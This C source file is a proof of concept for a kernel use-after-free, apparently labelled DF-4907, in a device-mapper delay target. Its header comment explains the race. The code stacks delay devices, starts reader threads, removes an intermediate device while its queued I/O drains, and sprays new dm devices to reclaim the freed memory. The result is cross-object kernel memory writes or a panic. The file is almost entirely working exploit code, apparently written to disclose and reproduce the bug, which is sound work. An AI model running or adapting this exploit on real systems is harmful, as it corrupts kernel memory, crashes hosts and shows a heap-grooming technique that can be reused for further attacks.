DF-4907 / df4907.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * DF-4907 PoC: dm_target_delay _destroy() async-drain use-after-free. * * Stack (all delay targets, 1000 ms): * /dev/vn0 <- d0 (delay) <- d1 (delay, REMOVED, never opened) <- d2 (delay, user reads) * * Timeline per iteration: * t0 : N reader threads pread() /dev/mapper/d2 -> nestbuf_x (stats=&dmv2) * queued in d2's delay queue (expire t0+1.0). * t0+1.0 : d2's timer submits nestbuf_x to d1 -> dmstrategy(d1) creates * nestbuf_a with bio_caller_info2 = &dmv1->stats * (device-mapper.c:425 nestiobuf_add) -> queued in d1 (expire t0+2.0). * t0+1.2 : `dmsetup remove d1` (d1 has never been opened -> is_open==0, * dm_dev_remove_ioctl passes) -> * dm_table_destroy -> dm_target_delay_destroy -> _destroy() -> * _submit_queue(di, 1) (dm_target_delay.c:341) submits every * queued nestbuf_a to /dev/mapper/d0 and RETURNS; teardown then * kfree()s dmv1 (dm_dev_free, dm_dev.c:384) while the nestbuf_a's * now sit in d0's delay queue until t0+2.2. Spray dm devices so * the freed dm_dev chunk is immediately reallocated. * t0+2.2 : d0 submits nestbuf_a to vn0 -> completes -> nestiobuf_iodone -> * nestiobuf_done(..., stats=&dmv1->stats) -> devstat_end_transaction() * (vfs_bio.c:4505 -> subr_devstat.c:179) WRITES into the freed, * reallocated chunk: last_comp_time, busy_count--, bytes_read += n, * num_reads++. If the chunk is now a live dm device with an idle * devstat, busy_count goes 0 -> -1 and the kernel prints * "devstat_end_transaction: HELP!! busy_count for <other-dev> is < 0" * => cross-object write-after-free (or panic), ~1 s after free. * * Build: cc -O -o df4907 df4907.c -lpthread * Run: ./df4907 <iterations> <readers> (root; vn + dm_target_delay loaded) */ #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAXR 128 static int fds[MAXR]; static int nreaders = 48; static void * reader(void *arg) { long id = (long)arg; char buf[4096]; off_t off; while (fds[id] < 0) usleep(200); off = ((off_t)id * 8192) % (48LL * 1024 * 1024); pread(fds[id], buf, sizeof(buf), off); return NULL; } static void sh(const char *fmt, ...) { char cmd[512]; va_list ap; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); if (system(cmd) != 0) fprintf(stderr, "cmd failed: %s\n", cmd); } int main(int argc, char **argv) { int iters = 20; pthread_t th[MAXR]; long i; int it; if (argc > 1) iters = atoi(argv[1]); if (argc > 2) nreaders = atoi(argv[2]); if (nreaders > MAXR) nreaders = MAXR; /* one-time setup: backing file + vn0 + delay stack */ sh("dd if=/dev/zero of=/tmp/df4907.img bs=1m count=64 2>/dev/null"); sh("vnconfig -u vn0 2>/dev/null"); sh("vnconfig -c -v -S 64m vn0 /tmp/df4907.img >/dev/null 2>&1"); sh("for n in d0 d1 d2 f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup remove $n 2>/dev/null; done"); sh("dmsetup create d0 --table '0 131072 delay /dev/vn0 0 1000'"); if (access("/dev/mapper/d0", F_OK) != 0) { fprintf(stderr, "setup failed: /dev/mapper/d0 missing\n"); return 1; } for (it = 0; it < iters; it++) { sh("for n in d2 d1 f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup remove $n 2>/dev/null; done"); sh("dmsetup create d1 --table '0 131072 delay /dev/mapper/d0 0 1000'"); sh("dmsetup create d2 --table '0 131072 delay /dev/mapper/d1 0 1000'"); if (access("/dev/mapper/d2", F_OK) != 0) { fprintf(stderr, "iter %d: create d2 failed\n", it); return 1; } for (i = 0; i < nreaders; i++) fds[i] = -1; for (i = 0; i < nreaders; i++) pthread_create(&th[i], NULL, reader, (void *)i); for (i = 0; i < nreaders; i++) fds[i] = open("/dev/mapper/d2", O_RDONLY); /* t0+1.2: bios have been handed d2->d1 (at 1.0) and wait in d1 */ usleep(1200000); /* * Release d1 from being d2's pdev WITHOUT removing d2 (whose * fds the blocked readers hold): suspend/reload/resume destroys * d2's OLD table -> delay _destroy -> dm_pdev_decr(d1) -> * vn_close -> dmclose(d1) -> d1.is_open = 0. */ sh("dmsetup suspend d2"); sh("dmsetup reload d2 --table '0 131072 delay /dev/vn0 0 1000'"); sh("dmsetup resume d2"); usleep(100000); /* free dmv1 while its bios (stats=&dmv1->stats) drain into d0 */ sh("dmsetup remove d1"); /* reclaim the freed dm_dev chunk with live dm devices */ sh("for f in f0 f1 f2 f3 f4 f5 f6 f7; do dmsetup create $f --table '0 131072 delay /dev/vn0 0 1000' 2>/dev/null; done"); /* wait out d0's delay + vn0 completion of the orphaned bios */ sleep(3); for (i = 0; i < nreaders; i++) pthread_join(th[i], NULL); for (i = 0; i < nreaders; i++) close(fds[i]); usleep(100000); } printf("done %d iterations x %d readers\n", iters, nreaders); /* leave fillers for run.sh cleanup */ return 0; } |